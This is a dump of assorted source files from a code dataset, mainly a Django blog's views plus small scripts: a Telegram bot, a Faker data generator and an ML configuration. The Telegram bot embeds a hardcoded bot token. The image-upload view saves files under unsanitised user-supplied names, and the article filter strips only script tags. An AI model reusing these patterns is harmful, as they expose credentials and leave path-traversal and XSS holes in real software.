request.FILES.get(\"avatar\")\n form_obj.cleaned_data.pop(\"rpwd\")\n UserInfo.objects.create_superuser(**form_obj.cleaned_data, avatar=avatar_file)\n else:\n res[\"code\"] = 1\n print(form_obj.errors)\n res[\"msg\"] = form_obj.errors\n return JsonResponse(res, safe=False)\n\n\n# 重复校验\ndef re_checkout(request):\n res = {\"code\": 0}\n username = request.POST.get(\"username\", \"\")\n phone = request.POST.get(\"phone\", \"\")\n # 数据库中的用户名\n user = UserInfo.objects.filter(username=username)\n phone = UserInfo.objects.filter(phone=phone)\n print(user, username, 1)\n if user:\n res[\"code\"] = 2\n res[\"msg\"] = \"用户名已存在\"\n elif phone:\n res[\"code\"] = 1\n res[\"msg\"] = \"手机号已存在\"\n\n return JsonResponse(res, safe=False)\n\n\n# 博客主页\n@login_required\ndef home(request):\n '''\n :param page_num: 当前���码\n :param all_data_amount: 总的数据量\n :param url_prefix: 页码a标签的url前缀\n :param per_page_data: 每页显示多少条数据\n :param page_show_tags: 页面上显示多少个页码\n '''\n article_obj = models.Article.objects.all()\n # 分页\n # 获取文章数\n data_amount = article_obj.count()\n # 获取当前页码\n page_num = request.GET.get(\"page\", 1)\n\n page_obj = MyPage(page_num, data_amount, per_page_data=3, url_prefix=\"item01/home\")\n # 按照分页的设置对总数据进行切片\n data = article_obj[page_obj.start:page_obj.end]\n page_html = page_obj.ret_html()\n return render(request, 'home.html', {\"article_obj\": data, \"page_html\": page_html})\n\n\n# class Home(View):\n# \t@login_required\n# \tdef dispatch(self, request, *args, **kwargs):\n# \t\tobj= super(Home, self).dispatch(request, *args, **kwargs)\n# \t\treturn obj\n#\n# \tdef get(self, request):\n# \t\treturn render(request, 'home.html')\n#\n# \tdef post(self, request):\n# \t\tpass\n\n\n# 登录\ndef login1(request):\n error = ''\n path = request.GET.get(\"next\", \"\")\n if path:\n error = \"请先登录\"\n if request.method == \"POST\":\n # global user\n username = request.POST.get(\"user\")\n pwd = request.POST.get(\"pwd\")\n v_codes = request.POST.get(\"v_code\")\n if v_codes.upper() == request.session.get(\"v_code\", ''):\n user = authenticate(username=username, password=pwd)\n print(user, type(user), 111)\n if user:\n login(request, user)\n if path:\n return redirect(path)\n else:\n ret = reverse(\"home\")\n return redirect(ret)\n else:\n error = \"用户名或密码错误\"\n else:\n error = \"验证码错误\"\n return render(request, 'login.html', {\"error\": error})\n\n\n# 验证码检验函数\ndef code_check(request):\n res = {\"code\": 0}\n v_code = request.POST.get(\"v_code\")\n vCode = request.session[\"v_code\"]\n print(v_code, vCode, 1)\n if v_code.upper() == vCode:\n res[\"msg\"] = \"验证码正确\"\n else:\n res[\"code\"] = 1\n res[\"msg\"] = \"验证码错误\"\n return JsonResponse(res, safe=False)\n\n\n# 验证码生成函数\n@never_cache\ndef v_code(request):\n # with open('static/img/oo.png', \"rb\") as f:\n # \tdata = f.read()\n # return HttpResponse(data,content_type=\"image/png\")\n def random_color():\n return random.randint(1, 255), random.randint(1, 255), random.randint(1, 255)\n\n img_obj = Image.new(\n \"RGB\",\n (250, 35),\n random_color()\n )\n draw_obj = ImageDraw.Draw(img_obj)\n font_obj = ImageFont.truetype('static/k.ttf', size=28)\n print(font_obj)\n tmp = []\n for i in range(5):\n n = str(random.randint(0, 9))\n u = chr(random.randint(97, 122))\n l = chr(random.randint(65, 90))\n r = random.choice([n, u, l])\n tmp.append(r)\n draw_obj.text(\n (i * 45 + 25, 0),\n r,\n fill=random_color(), # 颜色\n font=font_obj\n\n )\n v_code = ''.join(tmp)\n request.session[\"v_code\"] = v_code.upper()\n\n f = BytesIO()\n img_obj.save(f, \"png\")\n data = f.getvalue()\n return HttpResponse(data, content_type=\"image/png\")\n\n\n# 注销登录\ndef logout1(request):\n logout(request)\n return redirect(reverse(\"login\"))\n\n\n# 个人主页\n@login_required\ndef user_home(request, username='', *args, **kwargs):\n # article_obj = models.Article.objects.all()\n # 如果user_obj找不到article_set就会报错,所以要判断引用get_object_or_404,官方写好的404界面\n # user_obj=models.UserInfo.objects.filter(username=username).first()\n # 查找用户的obj\n user_obj = get_object_or_404(models.UserInfo, username=username)\n # #当前用户所有文章的对象\n article_list = user_obj.article_set.all()\n # 通过url取到args,args【0】是标签还是分类还是。args【1】是什么标签或者什么分类等,\n if args:\n if args[0] == \"tag\":\n article_list = models.Article.objects.filter(tags__title=args[1])\n elif args[0] == \"category\":\n article_list = models.Article.objects.filter(category__title=args[1])\n else:\n try:\n print(args[1])\n year, month = args[1].split(\"-\")\n article_list = models.Article.objects.filter(user__username=username).filter(create_time__year=year,\n create_time__month=month)\n except Exception as e:\n pass\n # 分页\n # 获取文章数\n data_amount = article_list.count()\n # 获取当前页码\n page_num = request.GET.get(\"page\", 1)\n page_obj = MyPage(page_num, data_amount, per_page_data=9,\n url_prefix=\"item01/{}/{}/{}\".format(username, args[0], args[1]))\n else:\n data_amount = len(article_list)\n # 获取当前页码\n page_num = request.GET.get(\"page\", 1)\n page_obj = MyPage(page_num, data_amount, per_page_data=9, url_prefix=\"item01/user_home/{}\".format(username))\n # 按照分页的设置对总数据进行切片\n article_obj = article_list[page_obj.start:page_obj.end]\n page_html = page_obj.ret_html()\n return render(request, 'user_home.html', locals())\n\n\n# 文章详情\ndef article(request, username, pk):\n user_obj = models.UserInfo.objects.filter(username=username).first()\n article_obj = models.Article.objects.filter(user__username=username, id=pk).first()\n comment_obj = models.Comment.objects.filter(article_id=pk)\n\n print(article_obj, username, pk)\n return render(request, \"article.html\", locals())\n\n\n# 点赞\ndef updown(request):\n res = {\"code\": 0}\n if request.method == \"POST\":\n userid = request.POST.get(\"userid\")\n articleid = request.POST.get(\"articleid\")\n upordown = request.POST.get(\"upordown\")\n # 注意upordown从前端传过来是字符串不是布尔值,所以要做一步转化\n is_up = True if upordown.upper() == \"TRUE\" else False\n # 先判断是否是自己给自己点赞\n article_obj = models.Article.objects.filter(id=articleid, user_id=userid)\n if article_obj:\n res[\"code\"] = 1\n res[\"msg\"] = \"不能给自己点赞\" if is_up else \"不能反对自己\"\n else:\n # 判断是否是同一人点赞,一人只能点赞一次\n # 点赞和反对只能选择一次\n\n # 判断这个人在这个文章的点赞记录里存不存在\n whether_exist = models.ArticleUpDown.objects.filter(article_id=articleid, user_id=userid).first()\n if whether_exist:\n res[\"code\"] = 1\n res[\"msg\"] = \"您已经点赞过了\" if whether_exist.is_up else \"你已经反对过了\"\n else:\n # 真正开始点赞,注意,事务操作:添加成功点赞表里的数据后再更新文章表中的点赞数据\n with transaction.atomic():\n # 更新点赞表中的点赞或反对数\n models.ArticleUpDown.objects.create(user_id=userid, article_id=articleid, is_up=is_up)\n # 更新文章表中的点赞或反对数\n if is_up:\n models.Article.objects.filter(id=articleid).update(up_count=F(\"up_count\") + 1)\n else:\n models.Article.objects.filter(id=articleid).update(down_count=F(\"down_count\") + 1)\n res[\"msg\"] = \"点赞成功\" if is_up else \"反对成功\"\n return JsonResponse(res)\n\n\n# 取消点赞或反对\ndef del_updown(request):\n data = {\"code\": 0}\n if request.method == \"POST\":\n userid = request.POST.get(\"userid\")\n articleid = request.POST.get(\"articleid\")\n upordown = request.POST.get(\"upordown\")\n is_up = True if upordown.upper() == \"TRUE\" else False\n whether_exist = models.ArticleUpDown.objects.filter(article_id=articleid, user_id=userid)\n if whether_exist:\n with transaction.atomic():\n whether_exist.delete()\n if is_up:\n models.Article.objects.filter(id=articleid).update(up_count=F(\"up_count\") + 1)\n else:\n models.Article.objects.filter(id=articleid).update(down_count=F(\"down_count\") + 1)\n data[\"msg\"] = \"取消点赞成功\" if is_up else \"取消返对成功\"\n return JsonResponse(data)\n\n\n# 评论\ndef comment(request):\n res = {\"code\": 0}\n userid = request.user.id\n articleid = request.POST.get(\"articleid\")\n parentid = request.POST.get(\"parentid\")\n comment_content = request.POST.get(\"comment\")\n with transaction.atomic():\n if parentid:\n print(111)\n comment_obj = models.Comment.objects.create(user_id=userid, article_id=articleid,\n parent_comment_id=parentid, content=comment_content)\n else:\n print(222)\n comment_obj = models.Comment.objects.create(user_id=userid, article_id=articleid, content=comment_content)\n # 去更新文章表中的评论数\n models.Article.objects.filter(id=articleid).update(comment_count=F(\"comment_count\") + 1)\n res[\"data\"] = {\n \"create_time\": comment_obj.create_time.strftime(\"%Y-%m-%d %H:%M\"),\n \"id\": comment_obj.id,\n \"username\": comment_obj.user.username,\n \"comment\": comment_content,\n }\n return JsonResponse(res, safe=False)\n\n\n# 管理后台\ndef backend(request):\n article_list = models.Article.objects.filter(user=request.user)\n return render(request, \"backend.html\",\n {\"article_list\": article_list, \"username\": request.user.username, \"user_obj\": request.user})\n\n\nimport os\nfrom django.conf import settings\n\n\n# 新增文章\ndef add_article(request):\n if request.method == \"POST\":\n title = request.POST.get(\"title\")\n content = request.POST.get(\"content\")\n category = request.POST.get(\"category\") # 分类的id值\n soup = BeautifulSoup(content, \"html.parser\") # 添加过滤器\n script_list = soup.select(\"script\") # 取到是script的标签\n for i in script_list:\n i.decompose() # 删除标签\n # 将数据添加到数据库\n with transaction.atomic():\n # 创建文章记录\n article_obj = models.Article.objects.create(\n title=title,\n user=request.user,\n desc=soup.text[0:150],\n category_id=category,\n )\n # 创建文章详情记录\n models.ArticleDetail.objects.create(\n content=soup.prettify(),\n article=article_obj\n )\n return redirect(reverse(\"backent\"))\n category_list = models.Category.objects.filter(blog__userinfo=request.user)\n return render(request, \"add_article.html\",\n {\"category_list\": category_list, \"username\": request.user.username, \"user_obj\": request.user})\n\n\n# 新增文章中的添加图片\ndef upload(request):\n res = {\"error\": 0}\n # print(request.FILES)\n if request.method == \"POST\":\n imag_obj = request.FILES.get(\"imgFile\")\n print(imag_obj)\n with open(os.path.join(settings.MEDIA_ROOT, \"upload_img\", imag_obj.name), \"wb\") as f:\n for chunk in imag_obj.chunks():\n f.write(chunk)\n print(os.path.join(settings.MEDIA_ROOT, \"upload_img\", imag_obj.name))\n res[\"url\"] = \"/media/upload_img/\" + imag_obj.name\n return JsonResponse(res)\n","sub_path":"item01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"463081334","text":"import math\nimport itertools\n\n# 入力\nn = int(input())\ntown = dict()\nfor i in range(n):\n x, y = map(int, input().split())\n town[i] = [x, y]\n\n\ndef distance(a, b):\n return math.sqrt((a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2)\n\n\ntotal = 0\nfor p in itertools.permutations(town, n):\n bef = p[0]\n for i in p[1:]:\n total += distance(town[bef], town[i])\n bef = i\n\nprint(total/math.factorial(n))\n\n\n\n","sub_path":"abc145/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"196554760","text":"import requests\nimport re\nfrom telebot import TeleBot\nfrom telebot import types\n\nbot = TeleBot(\"1017831541:AAEugg0KbRuc2EBR0vEdfZpZmCKLcG5lpGs\")\n\n\n@bot.message_handler(func=lambda message: True, content_types=['text'])\ndef get_word(message):\n\tword = message.text\n\ttranslation = requests.get(\n\t\tf'http://api.urbandictionary.com/v0/define?term={word}'\n\t).json()\n\tmes = str(\n\t\t[el['definition'] for el in translation['list']])[1:-1].\\\n\t\treplace(\",\", ',\\n')\n\n\twords = re.findall(r\"[[][\\w, \\s]*[]]\", mes)\n\n\tbot.send_message(message.chat.id, mes)\n\tmarkup = types.ReplyKeyboardMarkup(row_width=2)\n\n\tfor w in words:\n\t\tbutton = types.KeyboardButton(w[1:-1])\n\t\tmarkup.add(button)\n\tbot.send_message(message.chat.id, 'Choose your word: ', reply_markup=markup)\n\n\nif __name__ == '__main__':\n\tbot.polling()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"332001220","text":"from math import sqrt\nNUM = 600851475143\nTEST = 13195\n\n\"\"\"\nIMPROVEMENTS:\n\nFind factors then check if they are primes,\nFind largest by %ing primes backwards, then breaking\n\"\"\"\n\nGOAL = NUM\nlowGOAL = sqrt(GOAL)\n\nprimes = [2,3]\n\ndef isPrime(num):\n for i in primes:\n if num % i == 0:\n return False\n return True\n\nx = 4\nwhile x <= lowGOAL:\n if isPrime(x):\n primes.append(x)\n x += 1\n\nfactors = []\nfor i in primes:\n if GOAL % i == 0:\n factors.append(i)\n \nfor i in factors:\n print(i)","sub_path":"Project Euler/Number3.py","file_name":"Number3.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"185846414","text":"'''\nThere are N network nodes, labelled 1 to N.\n\nGiven times, a list of travel times as directed edges times[i] = (u, v, w), where u is the \nsource node, v is the target node, and w is the time it takes for a signal to travel from source to target.\n\nNow, we send a signal from a certain node K. How long will it take for all nodes to receive \nthe signal? If it is impossible, return -1.\n\nNote:\n\nN will be in the range [1, 100].\nK will be in the range [1, N].\nThe length of times will be in the range [1, 6000].\nAll edges times[i] = (u, v, w) will have 1 <= u, v <= N and 0 <= w <= 100.\n'''\n\nfrom heapq import heappush, heappop\nfrom collections import defaultdict, deque\n\ndef network_delay_time(times, n, source):\n graph = defaultdict(set)\n for u, v, t in times:\n graph[u].add((v, t))\n\n def djikstra(): \n distances = [None] * (n + 1)\n que = [(0, source)]\n\n while que:\n path_len, v = heappop(que)\n if distances[v] is None:\n distances[v] = path_len\n for node, edge_len in graph[v]:\n if distances[node] is None:\n heappush(que, [path_len + edge_len, node])\n\n return distances\n\n distances = djikstra()\n if None in distances[1:]: return -1\n else: return max(distances[1:])\n","sub_path":"algorithms/graphs/network_delay_time.py","file_name":"network_delay_time.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"361012000","text":"import numpy as np\nimport pandas as pd\nimport glob,h5py\nimport argparse,math,os\nparser = argparse.ArgumentParser(description=\"%prog [options]\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument(\"--path\", dest='path', default=\"\", help=\"path\")\nargs = parser.parse_args()\n\nload_f = h5py.File(args.path, 'r')\noutname=args.path.split(\"/\")[-1]\nsave_f = h5py.File(\"../DataVRGhost/SplitData/\"+outname, 'w')\n\nData=load_f.get(\"data\")\nN=Data.shape[0]\ntrain_index=np.random.choice(N,4000000,replace=False) #Dijets\n#train_index=np.random.choice(N,2000000,replace=False) #Hbb and Top\nremain_index=np.setdiff1d(np.arange(0,N),train_index) \nvalid_index=np.random.choice(remain_index,1000000,replace=False) #Dijets\n#valid_index=np.random.choice(remain_index,500000,replace=False) #Hbb and Top\ntest_index=np.setdiff1d(remain_index,valid_index) \n\ncase=[\"train\",\"test\",\"valid\"]\nindex={\"train\":train_index,\"test\":test_index,\"valid\":valid_index}\nfor i in case:\n\tsave_f.create_dataset(i,data=np.take(Data,index[i],axis=0))\n\n\n\n\n\n\n\n","sub_path":"process/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"381887733","text":"from array import array\r\nimport csv\r\nfrom faker import Faker\r\nimport random\r\n\r\nfake = Faker(['it_IT'])\r\nstatus = [\"Disputed\", \"Undisputed\"] # Status list\r\nstore = []\r\nfirstname = []\r\nlastname = []\r\n\r\nfor i in range(5000):\r\n store.append(fake.company())\r\n\r\nfor x in range (300):\r\n firstname.append(fake.first_name())\r\n lastname.append(fake.last_name())\r\n\r\nwith open('dataset_100.csv', mode='w', newline='') as csv_file:\r\n fieldnames = ['ID', 'CUSTOMER_NAME','STORE_NAME', 'AMOUNT', 'TRANSACTION_DATE',\r\n 'STATUS']\r\n\r\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\r\n\r\n writer.writeheader()\r\n co = 1\r\n for x in range(100000):\r\n fname = random.choice(firstname)\r\n lname = random.choice(lastname)\r\n store_name = random.choice(store)\r\n amount = random.randint(1000, 2000)\r\n transaction_date = fake.date_between(\r\n start_date='-10y', end_date='today')\r\n status_item = random.choice(status)\r\n writer.writerow({\r\n 'ID': co,\r\n 'CUSTOMER_NAME': fname + \" \" + lname,\r\n 'STORE_NAME': store_name,\r\n 'AMOUNT': amount,\r\n 'TRANSACTION_DATE': transaction_date,\r\n 'STATUS': status_item,\r\n })\r\n\r\n co += 1\r\n\r\n","sub_path":"neo4j/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"508884997","text":"import datetime\nimport json\nimport platform\nimport subprocess\nimport time\n\n\ndef log(s):\n print(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\") + \" \" + s)\n\n\ndef set_sonmcli():\n if platform.system() == \"Darwin\":\n return \"sonmcli_darwin_x86_64\"\n else:\n return \"sonmcli\"\n\n\nclass Cli:\n def __init__(self, cli_):\n self.cli = cli_\n\n def exec(self, param, retry=False, attempts=3, sleep_time=1):\n command = [self.cli] + param\n command.append(\"--json\")\n attempt = 1\n # errors_ = []\n code_ = 0\n while True:\n result = subprocess.run(command, stdout=subprocess.PIPE)\n if result.returncode == 0:\n break\n if not retry or attempt > attempts:\n break\n # errors_.append(str(result.stdout))\n attempt += 1\n time.sleep(sleep_time)\n if result.returncode != 0:\n # log(\"Failed to execute command: \" + ' '.join(command))\n # log('\\n'.join(errors_))\n code_ = 1\n return code_, json.loads(result.stdout.decode(\"utf-8\"))\n if result.stdout.decode(\"utf-8\") == \"null\":\n code_ = 1\n return code_, json.loads(result.stdout.decode(\"utf-8\"))\n return code_, json.loads(result.stdout.decode(\"utf-8\"))\n\n","sub_path":"cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"282993725","text":"'''\r\nCreated on May 9, 2019\r\n\r\n@author: Brian\r\n\r\nThis file contains constants used to control the:\r\n structure of the machine learning model\r\n the data elements used\r\n the data sources used\r\n'''\r\nimport logging\r\n\r\n'''\r\nLogging controls\r\n'''\r\nLOGGING_LEVEL = logging.DEBUG\r\nLOGGING_FORMAT = '%(asctime)s: %(levelname)s: %(message)s'\r\n\r\n'''\r\nWhich analysis approach to use:\r\n Classification: buy_sell_hold\r\n Value prediction: pct_change\r\ndata sources to use as samples to train, evaluate and use for predictions\r\n for testing the following options are frequently used\r\n \"hsc\", \"msft\", \"gntx\", \"csfl\", \"vrnt\", \"intc\", \"xlnx\", \"amgn\", \"f\", \"gm\", \"c\"\r\n \"bios\", \"cfg\", \"chl\", \"ddd\", \"gild\", \"m\", \"mygn\", \"nvda\", \"wmt\", \"xxii\", \"c\"\r\n \"aapl\", \"arnc\", \"ba\", \"c\"\r\n \"f\"\r\n \"all\"\r\n \"limit\", 50000\r\n'''\r\nGENERATE_DATA = False\r\nPLOT_DATA = False # Interactive and display controls\r\nTICKERS = [\"limit\", 2000000]\r\n#TICKERS = [\"aapl\", \"arnc\", \"ba\", \"c\"]\r\nANALASIS_SAMPLE_LENGTH = 30 # historical time steps to use for prediction\r\nFORECAST_LENGTH = 30 # future time steps to forecast \r\nRESULT_DRIVERS = [\"adj_low\", \"adj_high\", \"adj_open\", \"adj_close\", \"adj_volume\", \"BB_Lower\", \"BB_Upper\", \"SMA20\", \"OBV\", \"AccumulationDistribution\", \"momentum\", \"MACD_Sell\", \"MACD_Buy\"]\r\nFEATURE_TYPE = ['numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'numeric', 'boolean', 'boolean']\r\nFORECAST_FEATURE = [False, True, False, False, False, False, False, False, False, False, False, False, False]\r\n\r\n'''\r\nData analysis and interpretation controls\r\nOutput thresholds for characterization of results\r\n'''\r\nPREDICTION_BUY_THRESHOLD = 0.4\r\nPREDICTION_SELL_THRESHOLD = -0.4\r\nBUY_INDICATION_THRESHOLD = 1.2 #classification threshold for buy (future price / current price)\r\nSELL_INDICATION_THRESHOLD = 0.8 #classification threshold for sell (future price / current price)\r\nPREDICTION_PROBABILITY_THRESHOLD = 0.9\r\n\r\n'''\r\nValues used to identify classification\r\n ..._INDICATION - value\r\n ..._INDEX - array index for storage of value\r\n'''\r\nSELL_INDEX = 0\r\nHOLD_INDEX = 1\r\nBUY_INDEX = 2\r\nCLASSIFICATION_COUNT = 3\r\nBUY_INDICATION = 1.0\r\nHOLD_INDICATION = 0.0\r\nSELL_INDICATION = -1.0\r\nCLASSIFICATION_ID = 1.0\r\n\r\n'''\r\nKeras control and configuration values\r\n Activation choices: relu tanh softmax sigmoid\r\n Use_bias: True False\r\n dropout: floating point number 0.0\r\n loss: sparse_categorical_crossentropy mse binary_crossentropy\r\n optimizer: adam SGD RMSprop Adagrad Adadelta Adamax Nadam \r\n metrics: accuracy\r\n'''\r\n#[1.0, 1.0, 1.0, 1.0, 1.0, 1.0] - all equal\r\n#[1.0, 0.1, 0.1, 0.1, 0.1, 0.1] - focus on combined result\r\n#[0.1, 1.0, 0.1, 0.1, 0.1, 0.1] - focus on market activity\r\n#[1.0, 1.0, 0.1, 0.1, 0.1, 0.1] - focus on combined result and market activity\r\n#[0.1, 0.1, 0.1, 0.1, 0.1, 1.0] - focus on MACD\r\n#[0.75, 0.1, 0.1, 0.5, 0.25, 0.25]\r\nLOSS_WEIGHTS = [1.0, 1.0, 0.01, 0.01, 1.0, 1.0] # use to emphasize different outputs\r\nDENSE_REGULARIZATION = False\r\nREGULARIZATION_VALUE = 0.0\r\nDROPOUT = False\r\nDROPOUT_RATE = 0.2\r\nLAYER_NODES = 1500\r\nUSE_BIAS = True\r\nVALIDATION_SPLIT = 0.05\r\n#Model training\r\nBATCH_SIZE = 256\r\nEPOCHS = 3\r\nVERBOSE = 2 # Integer. 0, 1, or 2. Verbosity mode. 0 = silent, 1 = progress bar, 2 = one line per epoch\r\nBALANCE_CLASSES = True # Use the same number of samples of each class for training\r\nANALYSIS_LAYER_COUNT = 6 # number of Dense layers for each technical analysis\r\nCOMPOSITE_LAYER_COUNT = 3 # number of Dense layers for the composite analysis\r\nANALYSIS = 'classification' # classification value\r\nML_APPROACH = 'recurrent' # core recurrent convolutional\r\nCOMPILATION_LOSS = 'binary_crossentropy'\r\n'''\r\nmean_squared_error\r\nmean_absolute_error\r\nmean_absolute_percentage_error\r\nmean_squared_logarithmic_error\r\nsquared_hinge\r\nhinge\r\ncategorical_hinge\r\nlogcosh\r\ncategorical_crossentropy\r\nsparse_categorical_crossentropy\r\nbinary_crossentropy\r\nkullback_leibler_divergence\r\npoisson\r\ncosine_proximity\r\n'''\r\n\r\nCOMPILATION_METRICS = ['accuracy', 'binary_crossentropy'] # loss function or accuracy - can also be a tuple ['a', 'b']\r\n'''\r\naccuracy\r\nbinary_accuracy\r\ncategorical_accuracy\r\nsparse_categorical_accuracy\r\ntop_k_categorical_accuracy\r\nspares_top_k_categorical_accuracy\r\n'''\r\nACTIVATION = 'relu'\r\n''' \r\nsoftmax \r\nelu\r\nselu\r\nsoftplus - \r\nsoftsign - \r\nrelu - Rectified Linear Unit - output = input if >0 otherwise 0\r\ntanh - Limit output to the range -1 <= output <= +1\r\nsigmoid - limit output to the range 0 <= output <= +1\r\nhard_sigmoid\r\nlinear\r\n'''\r\nOPTIMIZER = 'Adam' # adam SGD RMSprop Adagrad Adadelta Adamax Nadam\r\n'''\r\nSGD\r\nRMSprop\r\nAdagrad\r\nAdadelta\r\nAdam\r\nAdamax\r\nNadam\r\nTFOptimizer\r\n'''\r\n\r\n'''\r\njson tags\r\n'''\r\n\r\nJSON_REQUIRED = \"requiredFields\"\r\nJSON_CONDITIONAL = \"conditionalFields\"\r\n\r\nJSON_PROCESS_NODES = 'processNodes'\r\n\r\nJSON_NODE_NAME = \"processNodeName\"\r\nJSON_PROCESS_TYPE = 'processType'\r\nJSON_INPUT_FLOWS = 'inputFlows'\r\nJSON_OUTPUT_FLOW = 'outputFlow'\r\nJSON_DATA_PREP_CTRL = \"dataPrepCtrl\"\r\nJSON_MODEL_FILE = \"modelFile\"\r\nJSON_OUTPUT_FILE = \"outputFile\"\r\nJSON_MODEL_STRUCTURE = \"modelStructure\"\r\nJSON_LOG_FILE = \"logFile\"\r\n\r\nJSON_DATA_PREP_PROCESS = \"dataPrep\"\r\nJSON_INPUT_DATA_PREPARATION= \"dataPrepCtrl\"\r\nJSON_INPUT_DATA_FILE= \"inputFile\"\r\n\r\nJSON_DATA_FLOWS = 'dataFlows'\r\n\r\nJSON_FLOW_NAME = 'flowName'\r\nJSON_FLOW_FROM = 'flowFrom'\r\nJSON_FLOW_TO = 'flowTo'\r\n\r\nJSON_PREPROCESSING = 'preprocessingLayers'\r\nJSON_PREPROCESS_SEQUENCE = 'preprocessSequence'\r\nJSON_PREPROCESS_DISCRETIZATION = 'discretization'\r\nJSON_PREPROCESS_DISCRETIZATION_BINS = 'bins'\r\nJSON_PREPROCESS_CATEGORY_ENCODING = 'categoryEncoding'\r\n\r\nJSON_KERAS_DENSE_PROCESS = \"KerasDense\"\r\nJSON_KERAS_DENSE_CTRL = \"KerasDenseCtrl\"\r\nJSON_KERAS_DENSE_DATA = 'KerasDenseData'\r\n\r\nJSON_KERAS_CONV1D = \"KerasConv1D\"\r\nJSON_KERAS_CONV1D_CONTROL = \"KerasConv1DCtrl\"\r\nJSON_KERAS_CONV1D_FILTERS = \"filters\"\r\nJSON_KERAS_CONV1D_KERNEL_SIZE = \"kernelSize\"\r\nJSON_KERAS_CONV1D_STRIDES = \"strides\"\r\nJSON_KERAS_CONV1D_PADDING = \"padding\"\r\nJSON_KERAS_CONV1D_DATA_FORMAT = \"dataFormat\"\r\nJSON_KERAS_CONV1D_DILATION_RATE = \"dilationRate\"\r\nJSON_KERAS_CONV1D_GROUPS = \"groups\"\r\nJSON_KERAS_CONV1D_ACTIVATION = \"activation\"\r\nJSON_KERAS_CONV1D_USE_BIAS = \"useBias\"\r\nJSON_KERAS_CONV1D_KERNEL_INITIALIZER = \"kernelInitializer\"\r\nJSON_KERAS_CONV1D_BIAS_INITIALIZER = \"biasInitializer\"\r\nJSON_KERAS_CONV1D_KERNEL_REGULARIZER = \"kernelRegularizer\"\r\nJSON_KERAS_CONV1D_BIAS_REGULARIZER = \"biasRegularizer\"\r\nJSON_KERAS_CONV1D_ACTIVITY_REGULARIZER = \"activityRegularizer\"\r\nJSON_KERAS_CONV1D_KERNEL_CONSTRAINT = \"kernelConstraint\"\r\nJSON_KERAS_CONV1D_BIAS_CONSTRAINT = \"biasConstraint\"\r\n\r\nJSON_MODEL_FILE = \"modelFile\"\r\nJSON_TRAINING = \"training\"\r\n\r\nJSON_BALANCED = \"balanceClasses\"\r\nJSON_TIME_SEQ = 'timeSequence'\r\nJSON_IGNORE_BLANKS = \"ignoreBlanks\"\r\nJSON_FLOW_DATA_FILE = \"flowDataFile\"\r\n\r\nJSON_FEATURE_FIELDS = \"features\"\r\nJSON_TARGET_FIELDS = \"targets\"\r\n\r\nJSON_CATEGORY_TYPE = \"categoryType\"\r\nJSON_CATEGORIZATION_DETAILS = \"categorization\"\r\nJSON_CATEGORY_1HOT = \"categoryOneHot\"\r\nJSON_CAT_TF = \"categoryTrueFalse\"\r\nJSON_CAT_THRESHOLD = \"categoryThreshold\"\r\nJSON_THRESHOLD_VALUE = \"categoryThresholdValue\"\r\nJSON_VALUE_RANGES = \"categoryRanges\"\r\nJSON_RANGE_MINS = \"categoryMinimums\"\r\nJSON_RANGE_MAXS = \"categoryMaximums\"\r\nJSON_LINEAR_REGRESSION = \"Regression\"\r\n\r\nJSON_REMOVE_OUTLIER_LIST = \"removeOutliers\"\r\nJSON_OUTLIER_FEATURE = \"featureName\"\r\nJSON_OUTLIER_PCT = \"outlierPct\"\r\n\r\nJSON_MODEL_INPUT_LAYER = 'inputLayer'\r\nJSON_MODEL_OUTPUT_LAYER = 'outputLayer'\r\nJSON_MODEL_OUTPUT_ACTIVATION = 'outputActivation'\r\nJSON_MODEL_OUTPUT_WIDTH = 'outputWidth'\r\nJSON_MODEL_DEPTH = 'layerCounts'\r\nJSON_NODE_COUNT = 'layerNodes'\r\nJSON_NORMALIZE_DATA = 'normalize'\r\nJSON_SHUFFLE_DATA = 'shuffle'\r\n#JSON_OUTPUTNAME = 'outputName'\r\nJSON_TIMESTEPS = 'timeSteps'\r\nJSON_ELEMENTS = 'dataElements'\r\nJSON_LOSS_WTS = 'lossWeights'\r\nJSON_REGULARIZATION = 'denseRegularation'\r\nJSON_REG_VALUE = 'regularationValue'\r\nJSON_DROPOUT = 'dropout'\r\nJSON_DROPOUT_RATE = 'dropoutRate'\r\nJSON_BIAS = 'useBias'\r\nJSON_VALIDATION_SPLIT = 'validationSplit'\r\nJSON_TEST_SPLIT = 'testSplit'\r\nJSON_BATCH = 'batchSize'\r\nJSON_EPOCHS = 'epochs'\r\nJSON_VERBOSE = 'verbose'\r\nJSON_LOSS = 'compilationLoss'\r\nJSON_METRICS = 'compilationMetrics'\r\nJSON_ACTIVATION = 'activation'\r\nJSON_OPTIMIZER = 'optimizer'\r\nJSON_ANALYSIS = 'analysis'\r\n\r\n'''\r\nJSON_OUTPUTS = 'outputs'\r\nJSON_INPUT_TYPE = 'inputType'\r\nJSON_INTERNAL_NODES = 'internalNodes'\r\nJSON_NODE_NAME = 'nodeName'\r\nJSON_BALANCE = 